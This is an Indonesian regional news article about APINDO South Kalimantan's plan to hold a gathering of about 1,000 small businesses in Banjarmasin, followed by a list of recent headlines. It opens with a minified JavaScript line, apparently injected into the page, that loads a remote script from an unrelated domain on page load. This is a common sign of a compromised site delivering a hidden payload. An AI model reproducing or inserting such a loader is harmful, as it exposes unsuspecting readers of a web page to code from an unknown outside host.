(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

APINDO Kalsel Akan Gelar Temu Akbar UMKM


BANJARMASIN, Membantu Usaha Mikro Kecil dan Menengah (UMKM) di Banua bisa berkembang dan naik kelas menjadi salah satu komitmen Asosiasi Pengusaha Indonesia (APINDO) Kalsel dibawah kepemimpinan H Supriadi.

Salah satu langkah konkritnya, pada Febuari 2019 mendatang APINDO Kalsel berencana membuat kegiatan temu Akbar UMKM Kalsel di Kota Banjarmasin dengan menghadirkan kurang lebih sekitar 1.000 UMKM.

“Kegiatan ini nantinya sifatnya bukan seremonial saja. Tapi kami harapkan bisa menjadi wadah membangun semangat UMKM di Banua untuk lebih bekerja keras lagi agar pasar dan produknya makin berkembang,” tegas Ketua Panitia Kegiatan Temu Akbar UMKM Kalsel Muhammad Iderus, Kamis (8/11).

Bahkan rencananya, dalam kegiatan Temu Akbar UMKM Kalsel nantinya, pihaknya akan mengundang beberapa UMKM dari luar Pulau Jawa yang sukses mengembangkan bisnisnya untuk berbagi inspirasi dengan menjadi pembicara.

Selain itu kegiatan Temu Akbar UMKM Kalsel nantinya juga akan di isi oleh kegiatan bazaar berbagai produk unggulan dari UMKM yang ada di Banua.

“Sejauh ini respon para UMKM di Banua terhadap kegiatan tersebut cukup besar. Bahkan sudah ada beberapa pihak yang menyatakan minatnya untuk bisa berhadir bahkan mengisi bazaarnya,” tambahnya.

Sememtara itu, Ketua APINDO Kalsel H Supriadi menambahkan, dari berbagai pertemuan yang dilakukan pihaknya bersama UMKM dari beberapa sektor yang ada di Banua, pemasaran dan bahan baku menjadi masalah yang masih membuat UMKM Banua sulit berkembang.

Karena itulah APINDO Kalsel terus mencoba memfasilitasi agar kedua permasalahan tersebut supaya bisa diatasi oleh UMKM yang ada di Banua. Salah satunya dengan membantu UMKM mencarikan pabrikan bahan baku yang lebih murah di Pulau Jawa.

“Kita sudah bantu UMKM sasirangan untuk mendapatkan bahan baku kain yang murah dari Pulau Jawa. Dengan bahan baku yang lebih murah kami harapkan harga kain sasirangan yang dijual bisa makin kompetitif lagi,” pungkasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

2 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

2 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

5 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

6 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

7 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

19 jam ago

This website uses cookies.